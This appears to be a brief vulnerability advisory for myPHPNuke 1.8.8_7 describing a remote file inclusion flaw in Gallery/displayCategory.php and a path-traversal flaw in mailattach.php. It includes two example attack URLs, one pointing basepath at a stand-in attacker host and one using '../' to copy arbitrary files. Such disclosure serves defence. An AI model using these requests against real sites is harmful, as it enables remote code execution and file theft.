Description:
Multiple vulnerabilities have been identified in myPHPNuke allowing malicious people to include and execute arbitrary code.
One problem is that the script "Gallery/displayCategory.php" doesn't verify the "basepath" and "adminpath" parameters before using them. This allows malicious people to include arbitrary files from remote servers.
Example:
Gallery/displayCategory.php?basepath=http://evil_site
The other problem is that the mail attach function doesn't verify file names properly. This allows malicious users to include arbitrary remote and local files.
Example copying "path_to/any_file" into "mail_me.txt" and attaching it:
mailattach.php?submit=1&attach1=path_to/any_file&attach1_name=../mail_me.txt
The vulnerabilities have been reported in version 1.8.8_7.
